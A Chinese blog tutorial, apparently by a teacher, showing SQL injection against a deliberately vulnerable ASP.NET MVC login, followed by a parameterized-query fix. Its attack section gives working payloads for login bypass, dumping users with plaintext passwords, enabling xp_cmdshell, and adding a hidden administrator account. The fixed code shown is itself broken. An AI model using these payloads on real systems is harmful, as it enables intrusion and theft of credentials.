前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。

可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”

“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”

好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。

于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。

呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。

(*^_^*) 大牛勿喷。


▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁


目录:

  1. 数据库
  2. Web项目
  3. 演示注入
  4. 避免
  5. 完了

  本文主要就是介绍SQL注入基本手法,危害,以及如何解决。

  技术有点渣渣,大牛勿喷。。。。

一、数据库。

只创建了一个Admin表,结构如下:

 create table Admin
 (
   Id ,) not null,
   Username ) not null,
   Password ) not null
 )
 go

插入三条测试数据如下:

二、Web项目

这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

1. Model模型层的AdminInfo.cs:

 using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Text;

 namespace Guying.BlogsDemo.Model
 {
     /// <summary>
     /// Admin 模型
     /// </summary>
     public class AdminInfo
     {
         /// <summary>
         /// 编号
         /// </summary>
         public int Id { get; set; } 

         /// <summary>
         /// 账号
         /// </summary>
         public string Username { get; set; }

         /// <summary>
         /// 密码
         /// </summary>
         public string Password { get; set; }
     }
 }

AdminInfo.cs

2. Web.config添加连接字符串:

     <connectionStrings>
       <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>
     </connectionStrings>

3. DAL数据层的DBHelper.cs辅助类:

 using System;
 using System.Collections.Generic;
 using System.Configuration;
 using System.Linq;
 using System.Text;

 namespace Guying.BlogsDemo.DAL
 {
     /// <summary>
     /// 数据访问辅助类
     /// </summary>
     public class DBHelper
     {
         /// <summary>
         /// BlogDemo 数据库链接字符串
         /// </summary>
         public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString;
     }
 }

DBHelper.cs

4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):

 using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Text;
 using System.Data.SqlClient;
 using Guying.BlogsDemo.Model;

 namespace Guying.BlogsDemo.DAL
 {
     /// <summary>
     /// Admin 数据提供
     /// </summary>
     public class AdminService
     {
         /// <summary>
         /// Admin 登录
         /// </summary>
         /// <param name="adminInfo">登录目标对象</param>
         /// <returns>返回结果对象,null为登录失败</returns>
         public AdminInfo Login(AdminInfo adminInfo)
         {
             AdminInfo result = null;
             string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password);
             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
             {
                 conn.Open();
                 using (SqlCommand comm = new SqlCommand(sql, conn))
                 {
                     using (SqlDataReader reader = comm.ExecuteReader())
                     {
                         if (reader.Read())
                         {
                             result = new AdminInfo()
                             {
                                 Id = (int)reader["Id"],
                                 Username = reader["Username"].ToString(),
                                 Password = reader["Password"].ToString()
                             };
                         }
                     }
                 }
             }
             return result;
         }
     }
 }

AdminService.cs(SQL存在注入)

5. BLL业务逻辑的AdminManager.cs:

 using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Text;
 using Guying.BlogsDemo.DAL;
 using Guying.BlogsDemo.Model;

 namespace Guying.BlogsDemo.BLL
 {
     public class AdminManager
     {
         private AdminService _AdminService = null;

         public AdminManager()
         {
             if (_AdminService==null)
             {
                 _AdminService = new AdminService();
             }
         }

         /// <summary>
         /// Admin 登录
         /// </summary>
         /// <param name="adminInfo">登录目标对象</param>
         /// <returns>返回结果对象,null为登录失败</returns>
         public AdminInfo Login(AdminInfo adminInfo)
         {
             return _AdminService.Login(adminInfo);
         }
     }
 }

AdminManager.cs

6. WebUI层的HomeController:

 using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Web;
 using System.Web.Mvc;
 using Guying.BlogsDemo.Model;
 using Guying.BlogsDemo.BLL;
 using System.Text;

 namespace Guying.BlogsDemo.WebUI.Controllers
 {
     public class HomeController : Controller
     {
         [HttpGet]
         public ActionResult Login()
         {
             return View();
         }

         [HttpPost]
         public ActionResult Login(AdminInfo adminInfo)
         {
             AdminManager _AdminManager = new AdminManager();
             adminInfo = _AdminManager.Login(adminInfo);
             JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };
             return json;
         }

     }
 }

WebUI的HomeController.cs

7. WebUI的Views/Home/Login:

 @model Guying.BlogsDemo.Model.AdminInfo

 @{
     ViewBag.Title = "Login";
 }

 <link href="~/CSS/home.login.css" rel="stylesheet" />

 <div class="box-max">
     <h2>Login</h2>
     <hr />

     @using (Html.BeginForm())
     {
         @Html.AntiForgeryToken()
         @Html.ValidationSummary(true)

         <table>
             <tr>
                 <th>账号:</th>
                 <td>
                     @Html.EditorFor(model => model.Username)
                     @Html.ValidationMessageFor(model => model.Username)
                 </td>
             </tr>
             <tr>
                 <th>
                     密码:
                 </th>
                 <td>
                     @Html.EditorFor(model => model.Password)
                     @Html.ValidationMessageFor(model => model.Password)
                 </td>
             </tr>
             <tr>
                 <td colspan="2" align="center">
                     <input type="submit" value="登 录" />
                 </td>
             </tr>
         </table>
     }
 </div>

Views/Home/Login.cshtml

8. WebUIHome/Login的css:

 *{transition:all 0.3s;}
 body{margin:0px; padding:0px; background-color:#F8F8F8;}
 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;}
 .box-max table{width:100%;}
 .box-max table tr{line-height:40px;}
 .box-max table th{text-align:right;}
 .box-max table td input{width:100%;}
 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}
 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}

home.login.css

9. 运行结果:

三、注入

1. 废话不多说、直接测试注入。

  账号: ' or 1=1 -- ,密码(随意): fuck ,结果如下:

  你还在认为注入只是为了绕过登录进入网站么?

  那你就错了。

  竟然返回的是一个包含整个用户信息的Json?!

  这也是一个程序设计的严重不当!

  不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

  最后导致千万级数据泄露。

  也就是类似于下面这样操作:

2. 获取所有用户信息:

  这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

  那么我们可以登录这样写(密码随意):

  账号: ' or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  账号: ' or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  账号: ' or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"}

  如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

  账号: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --

  后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

  然后,xp_cmdshell已经获取了,你还想干什么不行?

  这里我只做一个概念性的测试,演示一下其危害。

  根据项目的不同,注入可能还会导致更严重的后果。

  当然,你也可以创建文件,添加任务等,例如这样:

    添加隐藏账号,并提升管理员组:

    账号填写: ' or 1=1; exec xp_cmdshell 'echo net user $fuck 123456 /add > D:\a.bat & echo net localgroup administrators $fuck /add >> D:\a.bat & echo exit >> D:\a.bat' --

    

    修改权限/修改所有者:

    账号填写: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' --

    执行:

    账号填写: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' --

  

  结果:

  

  好吧,上面DOS你懂得。

  当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

 using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Text;
 using System.Data.SqlClient;
 using Guying.BlogsDemo.Model;

 namespace Guying.BlogsDemo.DAL
 {
     /// <summary>
     /// Admin 数据提供
     /// </summary>
     public class AdminService
     {
         /// <summary>
         /// Admin 登录
         /// </summary>
         /// <param name="adminInfo">登录目标对象</param>
         /// <returns>返回操作结果,true成功 / false失败</returns>
         public bool Login(AdminInfo adminInfo)
         {
             ;
             string sql = " select count(1) from Admin where Username=@Username and Password=@Password ";
             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
             {
                 conn.Open();
                 using (SqlCommand comm = new SqlCommand(sql, conn))
                 {
                     comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) });
                     count = (int)comm.ExecuteScalar();
                 }
             }
             ;
         }
     }
 }

修改后的登录方法

  平时写代码,多注意下这些问题。

  当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。

五、 没了

就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。

毕竟每个项目不一样,指不定注入还会导致什么问题呢。

最后。。。。。。。。。。。大牛勿喷。么么哒~

浅谈SQL注入风险 - 一个Login拿下Server的更多相关文章

  1. 浅谈SQL注入风险 - 一个Login拿下Server(转)

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  2. 【sql注入】浅谈sql注入中的Post注入

    [sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...

  3. 浅谈SQL注入

    先看一个sql语句: select * from admin where username='(此处为用户输入的数据)'; 在没有任何过滤的情况下,如果用户输入:' or 1=1 -- 这条语句就为: ...

  4. 浅谈SQL注入漏洞以及防范策略

    --HeShiwei 2014-5-15 什么是SQL注入 SQL注入,指的是用户通过向登录框输入恶意字符,利用代码的字符串拼接漏洞进行网站注入攻击,最终导致整个网站用户表信息泄露的攻击方式.黑客就是 ...

  5. 浅谈 SQL 注入(注入篇)

    一.SQL注入简介 1.1 什么是SQL注入 在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条 SQL语句传递给web ...

  6. 转【】浅谈sql中的in与not in,exists与not exists的区别_

    浅谈sql中的in与not in,exists与not exists的区别   1.in和exists in是把外表和内表作hash连接,而exists是对外表作loop循环,每次loop循环再对内表 ...

  7. 浅谈sql中的in与not in,exists与not exists的区别

    转 浅谈sql中的in与not in,exists与not exists的区别   12月12日北京OSC源创会 —— 开源技术的年终盛典 »   sql exists in 1.in和exists ...

  8. 浅谈sql 、linq、lambda 查询语句的区别

    浅谈sql .linq.lambda 查询语句的区别 LINQ的书写格式如下: from 临时变量 in 集合对象或数据库对象 where 条件表达式 [order by条件] select 临时变量 ...

  9. 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

    当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...

随机推荐

  1. docker——容器安装tomcat

    写在前面: 继续docker的学习,学习了docker的基本常用命令之后,我在docker上安装jdk,tomcat两个基本的java web工具,这里对操作流程记录一下. 软件准备: 1.jdk-7 ...

  2. 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)

    分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...

  3. JavaScript特性(attribute)、属性(property)和样式(style)

    最近在研读一本巨著<JavaScript忍者秘籍>,里面有一篇文章提到了这3个概念. 书中的源码可以在此下载.我将源码放到了线上,如果不想下载,可以直接访问在线网址,修改页面名就能访问到相 ...

  4. dagger2系列之依赖方式dependencies、包含方式(从属方式)SubComponent

    本篇是实战文章,从代码的角度分析这两种方式.本文参考自下列文章: http://www.jianshu.com/p/1d42d2e6f4a5 http://www.jianshu.com/p/94d4 ...

  5. Unity3D框架插件uFrame实践记录(一)

    1.概览 uFrame是提供给Unity3D开发者使用的一个框架插件,它本身模仿了MVVM这种架构模式(事实上并不包含Model部分,且多出了Controller部分).因为用于Unity3D,所以它 ...

  6. Twproject Gantt开源甘特图功能扩展

    1.Twproject Gantt甘特图介绍 Twproject Gantt 是一款基于 jQuery 开发的甘特图组件,也可以创建其它图表,例如任务树(Task Trees).内置编辑.缩放和 CS ...

  7. IL异常处理

    异常处理在程序中也算是比较重要的一部分了,IL异常处理在C#里面实现会用到一些新的方法 1.BeginExceptionBlock:异常块代码开始,相当于try,但是感觉又不太像 2.EndExcep ...

  8. [WPF] Wait for a moment.

    一.控件介绍 在 WPF 中使用的等待控件,控件包括三种,普通的等待信息提示(WaitTip),进度条提示(WaitProgress),以及主程序覆盖的模拟时钟等待窗口(WaitClock),具体效果 ...

  9. C# 工厂模式+虚方法(接口、抽象方法)实现多态

    面向对象语言的三大特征之一就是多态,听起来多态比较抽象,简而言之就是同一行为针对不同对象得到不同的结果,同一对象,在不同的环境下得到不同的状态. 实例说明: 业务需求:实现一个打开文件的控制台程序的d ...

  10. Git学习笔记一:新建本地仓库及初始化

    1.百度搜索Git下载安装,直接按默认选项安装即可. 例如:Git-2.7.2-32-bit_setup.1457942412.exe 2.配置Git信息,建立版本仓库 (Alt+PrintScerr ...